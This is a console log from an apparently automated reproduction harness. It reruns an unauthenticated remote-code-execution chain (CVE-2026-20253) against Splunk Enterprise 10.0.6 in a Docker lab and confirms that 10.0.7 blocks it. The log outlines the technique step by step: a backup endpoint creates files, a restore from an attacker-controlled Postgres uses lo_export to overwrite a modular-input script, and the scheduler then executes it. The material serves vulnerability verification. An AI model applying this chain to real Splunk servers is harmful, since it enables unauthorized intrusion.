[19:44:46] Pulling images (idempotent)... [+] PASS: images present [19:44:46] Creating Docker network and attacker-controlled Postgres... Error response from daemon: network with name splunknet already exists [19:45:18] Pulling images (idempotent)... [+] PASS: images present [19:45:18] Creating Docker network and attacker-controlled Postgres... attacker-pg splunk-vuln splunk-fixed splunknet [+] PASS: attacker-pg ready [+] PASS: malicious attacker DB loaded (function pwn(), table pwn, CHECK, trigger row) [19:45:26] attacker-pg IP on splunknet: 172.18.0.2 [19:45:26] Starting vulnerable Splunk Enterprise 10.0.6... [+] PASS: splunk-vuln healthy [19:46:07] Probing unauthenticated endpoint on vulnerable host (DAG)... [19:46:07] DAG: HTTP=303 body= See Other UNAUTHENTICATED REMOTE CODE EXECUTION [19:49:39] === NEGATIVE CONTROL: fixed Splunk Enterprise 10.0.7 === [+] PASS: splunk-fixed healthy [19:50:09] Fixed DAG: HTTP=303 body= See Other [19:50:09] Fixed exploit backup: HTTP=303 body= See Other [+] PASS: NEGATIVE CONTROL: fixed 10.0.7 blocks the unauthenticated endpoint (HTTP 303) - vulnerable behavior absent [19:50:09] ================ SUMMARY ================ [19:50:09] Stage 1 (unauth arbitrary file create/truncate): true [19:50:09] Stage 2 (unauth arbitrary-content file write): true [19:50:09] Stage 3 (unauth RCE as splunk user): true [19:50:09] Negative control (10.0.7 blocks endpoint): true [19:50:09] Runtime manifest written to /data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348/bundle/repro/runtime_manifest.json [19:50:09] Reproduction complete. [19:51:01] Pulling images (idempotent)... [+] PASS: images present [19:51:01] Creating Docker network and attacker-controlled Postgres... attacker-pg splunk-vuln splunk-fixed splunknet [+] PASS: attacker-pg ready [+] PASS: malicious attacker DB loaded (function pwn(), table pwn, CHECK, trigger row) [19:51:09] attacker-pg IP on splunknet: 172.18.0.2 [19:51:09] Starting vulnerable Splunk Enterprise 10.0.6... [+] PASS: splunk-vuln healthy [19:51:40] Waiting for PostgreSQL sidecar endpoint to be reachable (unauthenticated)... [+] PASS: sidecar endpoint ready (400 Failed to decode) after 20s [19:52:00] local .pgpass path: /opt/splunk/var/packages/data/postgres/db/.pgpass rolname | rolsuper ----------------+---------- postgres_admin | t (1 row) [+] PASS: postgres_admin is superuser [19:52:00] original ssg_enable_modular_input.py lines: 83 [19:52:00] === STAGE 1: unauthenticated arbitrary file creation via backup endpoint === [19:52:00] Stage1 backup HTTP=200 id=e2355318-06ab-4979-858e-6d4bde71d010 state=BackupComplete [19:52:01] Stage1 created file /tmp/cve2026_stage1_file size=2550 magic=PGDMP [+] PASS: STAGE 1: unauthenticated request created an attacker-chosen file (2550 bytes, pg_dump format) on the Splunk filesystem [19:52:01] === STAGE 2: RCE primitive - write attacker bytes via lo_export === [19:52:01] Stage2a backup HTTP=200 state=BackupComplete [19:52:01] Stage2a /tmp/poc size=2550 [19:52:01] Stage2b restore HTTP=200 state=RestoreFailed (note: pg_restore exits 1 on non-fatal --clean/OWNER errors but the lo_export side effect fires before exit) [19:52:01] Stage2b /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py now 3 lines, first line: import os,sys [+] PASS: STAGE 2: unauthenticated restore wrote attacker-controlled Python over the Splunk modular-input script (arbitrary-content file write / RCE primitive) [19:52:01] === STAGE 3: Splunk modular-input scheduler executes the overwritten script === [19:52:41] RCE MARKER appeared after 40s: | CVE-2026-20253 RCE confirmed | uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible) [+] PASS: STAGE 3: attacker code executed by Splunk as the splunk user -> UNAUTHENTICATED REMOTE CODE EXECUTION [19:52:41] === NEGATIVE CONTROL: fixed Splunk Enterprise 10.0.7 === [+] PASS: splunk-fixed healthy [19:53:12] Waiting for fixed build endpoint to register (then it enforces auth)... [19:53:32] Fixed DAG: HTTP=401 body=Authorization header must use Splunk token [19:53:32] Fixed exploit backup: HTTP=401 body=Authorization header must use Splunk token [+] PASS: NEGATIVE CONTROL: fixed 10.0.7 blocks the unauthenticated endpoint (HTTP 401) - vulnerable behavior absent [19:53:32] ================ SUMMARY ================ [19:53:32] Stage 1 (unauth arbitrary file create/truncate): true [19:53:32] Stage 2 (unauth arbitrary-content file write): true [19:53:32] Stage 3 (unauth RCE as splunk user): true [19:53:32] Negative control (10.0.7 blocks endpoint): true [19:53:32] Runtime manifest written to /data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348/bundle/repro/runtime_manifest.json [19:53:32] Reproduction complete. [19:53:32] Pulling images (idempotent)... [+] PASS: images present [19:53:32] Creating Docker network and attacker-controlled Postgres... attacker-pg splunk-vuln splunk-fixed splunknet [+] PASS: attacker-pg ready [+] PASS: malicious attacker DB loaded (function pwn(), table pwn, CHECK, trigger row) [19:53:41] attacker-pg IP on splunknet: 172.18.0.2 [19:53:42] Starting vulnerable Splunk Enterprise 10.0.6... [+] PASS: splunk-vuln healthy [19:54:12] Waiting for PostgreSQL sidecar endpoint to be reachable (unauthenticated)... [+] PASS: sidecar endpoint ready (400 Failed to decode) after 20s [19:54:33] local .pgpass path: /opt/splunk/var/packages/data/postgres/db/.pgpass rolname | rolsuper ----------------+---------- postgres_admin | t (1 row) [+] PASS: postgres_admin is superuser [19:54:33] original ssg_enable_modular_input.py lines: 83 [19:54:33] === STAGE 1: unauthenticated arbitrary file creation via backup endpoint === [19:54:33] Stage1 backup HTTP=200 id=ad7c5179-9d02-471a-9eb2-990e93edf105 state=BackupComplete [19:54:33] Stage1 created file /tmp/cve2026_stage1_file size=2550 magic=PGDMP [+] PASS: STAGE 1: unauthenticated request created an attacker-chosen file (2550 bytes, pg_dump format) on the Splunk filesystem [19:54:33] === STAGE 2: RCE primitive - write attacker bytes via lo_export === [19:54:33] Stage2a backup HTTP=200 state=BackupComplete [19:54:33] Stage2a /tmp/poc size=2550 [19:54:33] Stage2b restore HTTP=200 state=RestoreFailed (note: pg_restore exits 1 on non-fatal --clean/OWNER errors but the lo_export side effect fires before exit) [19:54:33] Stage2b /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py now 3 lines, first line: import os,sys [+] PASS: STAGE 2: unauthenticated restore wrote attacker-controlled Python over the Splunk modular-input script (arbitrary-content file write / RCE primitive) [19:54:33] === STAGE 3: Splunk modular-input scheduler executes the overwritten script === [19:55:04] RCE MARKER appeared after 31s: | CVE-2026-20253 RCE confirmed | uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible) [+] PASS: STAGE 3: attacker code executed by Splunk as the splunk user -> UNAUTHENTICATED REMOTE CODE EXECUTION [19:55:04] === NEGATIVE CONTROL: fixed Splunk Enterprise 10.0.7 === [+] PASS: splunk-fixed healthy [19:55:34] Waiting for fixed build endpoint to register (then it enforces auth)... [19:55:55] Fixed DAG: HTTP=401 body=Authorization header must use Splunk token [19:55:55] Fixed exploit backup: HTTP=401 body=Authorization header must use Splunk token [+] PASS: NEGATIVE CONTROL: fixed 10.0.7 blocks the unauthenticated endpoint (HTTP 401) - vulnerable behavior absent [19:55:55] ================ SUMMARY ================ [19:55:55] Stage 1 (unauth arbitrary file create/truncate): true [19:55:55] Stage 2 (unauth arbitrary-content file write): true [19:55:55] Stage 3 (unauth RCE as splunk user): true [19:55:55] Negative control (10.0.7 blocks endpoint): true [19:55:55] Runtime manifest written to /data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348/bundle/repro/runtime_manifest.json [19:55:55] Reproduction complete.